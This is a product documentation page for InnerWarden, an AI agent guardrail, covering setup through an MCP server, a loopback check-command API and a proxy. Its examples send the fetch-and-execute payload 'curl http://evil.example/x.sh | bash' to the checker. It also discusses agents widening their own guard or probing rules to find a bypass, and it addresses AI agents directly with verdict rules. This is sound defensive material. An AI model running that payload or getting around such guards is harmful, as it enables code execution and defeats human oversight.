Skip to content
Guard AI agents

Connect Your Agent to InnerWarden

Wire an AI agent to InnerWarden via an MCP server, the loopback check-command HTTP contract, or agent connect and proxy enforcement.

Connect Your Agent

For: a developer wiring an AI agent (Claude Code, Cursor, Copilot, Codex, an autonomous runner) to InnerWarden so it can ask "is this safe?" before it acts, and so InnerWarden can enforce when it matters.

This is the hands-on how-to. For the why, and for what each layer can and cannot stop, read AI Agent Guardrail first. For the never-blind way to adapt InnerWarden to a specific machine, see Safe Observe and Allowlist.

The MCP screening and proxy enforcement described here are part of the free, cross-platform Community guardrail. Install it with curl -fsSL https://www.innerwarden.com/free | sh on macOS or Linux, or irm https://www.innerwarden.com/free.ps1 | iex on Windows: the signed release, verified by sha256 and Ed25519 before it installs to ~/.local/bin, needing no Node and no root. If you already manage your tools with npm, npm install -g innerwarden (or npx innerwarden) is the same binary with signed npm provenance, and needs sudo on Linux because npm's global prefix is root-owned there. From source: cargo install --git https://github.com/InnerWarden/inner-warden innerwarden. Community uses innerwarden <verb>; the paid host CLI (Pro and Enterprise) delegates its agent functions under the same command surface.

There is also a published, on-box copy of the agent playbook. The installer drops it at /etc/innerwarden/AGENTS.md, and it is online at innerwarden.com/agents.md. If you are an AI agent reading this, that file is your authoritative playbook and it matches the version you have installed.


Or have your agent install it

If you already have a coding agent open, it can do all of this. Point it at the public innerwarden-skill repository and tell it:

install InnerWarden and verify it is actually screening my commands

It works out which machine it is on, installs the right way for it, wires your agent, and refuses to report success until scripts/verify-install.sh exits 0. That script does not check that files exist: it sends real commands through the guard and reads the verdicts, because "installed" and "protecting you" are different claims.

Every command on this page still works, and nothing here is skipped by taking that route. It is the same install, done by something that types faster.

The fastest path: guided setup and discovery

Let setup find supported agents and local MCP configurations. Start in monitor mode so you can inspect the decisions before enabling blocking:

innerwarden setup
innerwarden dry-run

innerwarden dry-run puts every connected agent into monitor: it records every screened action and blocks none of them. It is the same verb on macOS, Linux and Windows, and on the paid host stack. When you are ready to let it refuse things, innerwarden enforce is the opposite.

Run these yourself. From Community 1.5.4 the guard refuses an AI agent that tries to run innerwarden allow, mute, dry-run or monitor, or to write into ~/.config/innerwarden, and adding an allow or mute entry needs a terminal. A provisioning script or CI job with no terminal passes --operator (an agent's shell does not honour it). That raises the cost of an agent widening its own guard; it does not stop one that reaches your user's files by a route the hook does not see, which is why what the free tier does not stop lists it.

From Community 1.5.5 the Claude Code hook also screens the agent's file tools (Write, Edit, MultiEdit, NotebookEdit) for privileged files. An upgrade with automatic setup adds that hook in the mode you already run; restart Claude Code afterwards. Without automatic setup, innerwarden status shows the file tools as [off] until you run innerwarden install claude-code. Uninstall with 1.5.5 or later, which removes both hook entries.

To confirm which mode you are actually in, innerwarden agents list prints it per agent:

claude-code   ✓ guarded (hook, monitor)
cursor        ✓ guarded (MCP proxy, enforce)

Connecting a single agent still works, and takes the same flag:

innerwarden agents connect claude-code --monitor

For a custom command runner, call the CLI or the loopback HTTP adapter before execution. Treat the verdict as follows:

  • deny do not run it. Tell the user what you were about to do and why it was stopped.
  • review stop and ask the human to confirm before proceeding.
  • allow proceed.

Two things worth knowing. First, what comes back depends on the surface and on who asks. On Active Defence the MCP server answers an agent with a verdict and one fixed reason, nothing more. The loopback HTTP route below answers a caller on the box with seven fields: recommendation, reason (one fixed sentence per verdict), explanation (the same sentence again, so a hook script that prints it says something true), severity, the command you sent, case_id (which opens the record of the check on the dashboard) and, when the check raised an incident, incident_id (a tenant you send is echoed back). Neither says which rule fired. The signals, the specific explanation and the risk_score go only to the operator, a caller that proves itself with the dashboard's own credentials. An agent that could read which rule fired could iterate against it until a variant came back allowed, so a call from the box without those credentials never gets them. The free innerwarden serve has no operator account and returns its full analysis to whatever on the box calls it. Either way, do not probe it to find a bypass: every check is recorded on the host, where the operator reads it. Second, the MCP server is a thin adapter over that same route, so both give the same verdict. It runs on stdio only and never opens a network listener.


The loopback check-command contract (no MCP required)

If your agent does not speak MCP, call the route directly. It answers on port 8787 on the loopback address only, and needs no credentials from on the box. Which form you use depends on what is installed:

  • Active Defence (the paid host stack): the agent serves it on its dashboard listener, which speaks HTTPS only, with a certificate the agent generated for itself at /var/lib/innerwarden/dashboard-cert.pem. Give curl that certificate with --cacert rather than switching checking off with -k: a -k copied into a script trusts anything, anywhere it is pasted. If the agent's account cannot read the certificate file, copy the certificate (it is public; the key next to it is not) somewhere it can.
  • Community: innerwarden serve answers the same route in plain HTTP on 127.0.0.1:8787 for as long as it runs. It answers check-command only.

Check a command before running it. Active Defence:

curl -s --cacert /var/lib/innerwarden/dashboard-cert.pem \
     -X POST https://127.0.0.1:8787/api/agent/check-command \
     -H 'content-type: application/json' \
     -d '{"command": "curl http://evil.example/x.sh | bash"}'

Community, after innerwarden serve:

curl -s -X POST http://127.0.0.1:8787/api/agent/check-command \
     -H 'content-type: application/json' \
     -d '{"command": "curl http://evil.example/x.sh | bash"}'

The response carries a recommendation field that is one of deny, review, or allow (the check-ip and security-context responses use the same recommendation field). Read the verdict from that field and show reason to the person; the other fields on the Active Defence route (explanation, severity, command, case_id, incident_id) are described in the note above. Treat them exactly as above: deny means do not run it, review means ask the human, allow means proceed. No answer is not an allow. An empty response, a refused connection or a certificate error means the guard could not be asked: treat it as review and ask the human.

Get host context before acting (Active Defence):

curl -s --cacert /var/lib/innerwarden/dashboard-cert.pem \
     https://127.0.0.1:8787/api/agent/security-context

Returns the current threat level, incident counts, and a recommendation.

Check an address (Active Defence):

curl -s --cacert /var/lib/innerwarden/dashboard-cert.pem \
     "https://127.0.0.1:8787/api/agent/check-ip?ip=203.0.113.7"

Tells you whether the IP is a known threat or already blocked.

A good agent pattern: before any command that downloads-and-executes, reads secrets, changes persistence, opens a listener, or is destructive, call check-command first and obey the verdict. When it denies, surface that to the user rather than trying to route around it.

On Active Defence these endpoints require the dashboard to be enabled (it is, by default, on https://127.0.0.1:8787). If a request is refused, the dashboard may be disabled or bound elsewhere, run innerwarden-ctl dashboard to see how to reach it. Do not expose this to non-loopback to make the check reachable from another host. That turns your private brain into a public oracle. Keep it local.


Enforcement: register the agent and proxy its MCP traffic

The two endpoints above are advisory, they rely on the agent choosing to ask. For the parts that hold even when the agent does not cooperate, use these.

Register the agent so InnerWarden knows it is friendly

A PID changes on every restart. If your agent runs as a systemd unit, name the unit instead: --unit writes one pre-start line into it, so the kernel guards scope to that unit on every start, and nothing about your machine has to be known in advance. That is the right form for an agent InnerWarden has never heard of, such as your own python3 my_agent.py service. The drop-in also starts your unit after the sensor, and its pre-start waits up to 60 seconds for the sensor to be ready, so the unit comes back on its own after a reboot. If the sensor never comes up, the unit does not start unguarded: it fails and says how to start the sensor, or which drop-in to remove to run it without the kernel guards. sudo innerwarden-ctl uninstall removes the drop-in and leaves your unit as it was.

innerwarden agents connect <pid>    # paid host stack: innerwarden agent connect <pid>
innerwarden-ctl agent connect --unit my-agent.service   # paid host stack: the durable form, by systemd unit

This tells InnerWarden "this process is the agent you are meant to guard." It captures the agent's live identity (executable path, owning user, command-line fingerprint) so the managed-agent coexistence logic will withhold an auto-block against the agent acting on its own services, without ever opening a hole for an impostor. See the coexistence section of AI Agent Guardrail for how strict that recognition is. Related commands:

innerwarden agents list             # show registered agents, and which MODE each is in
innerwarden agents connect --all --monitor   # wire every guardable agent, records only
innerwarden agents disconnect <name>
# Community has no `agents scan`; `agents list` already reports running agents.
# On the paid host stack these are innerwarden agent list / scan / connect

Put the guardrail in the path of MCP tool calls

innerwarden proxy --mode guard -- npx -y @some/mcp-server
# paid host stack: innerwarden agent proxy --mode guard -- ...

This wraps an MCP server so every tool call the agent makes flows through the guardrail, which inspects the arguments, the tool descriptions, and the tool results, and blocks or kills according to --mode (advisory, warn, guard, or kill). Because the traffic physically passes through the proxy, the agent cannot skip it. This is the enforcement front door for MCP. Modes and exactly what each inspects are documented in AI Agent Guardrail; the paid host stack's flags are owned by CLI Reference.


Putting it together

A sensible setup for an agent that can run a shell:

  1. Register the agent: innerwarden agents connect <pid> (so the guardrail never severs it).
  2. Give it a conscience: wire innerwarden proxy as an MCP server, or have it call POST /api/agent/check-command, before risky steps.
  3. Put enforcement in the path for MCP traffic: run the agent's MCP servers behind innerwarden proxy --mode guard.
  4. On a Linux box that also runs the paid host stack (Pro or Enterprise), let the host layer cover the rest: the sensor's eBPF is already watching what actually executes, no wiring needed. See What It Detects.
  5. When you need to teach InnerWarden that something flagged is genuinely normal on this box, do it the safe way: Safe Observe and Allowlist. Never blind-allowlist to push a command through.

For any flag or subcommand, the source of truth is the binary itself: innerwarden --help (Community) or innerwarden agent --help (paid host stack), and CLI Reference.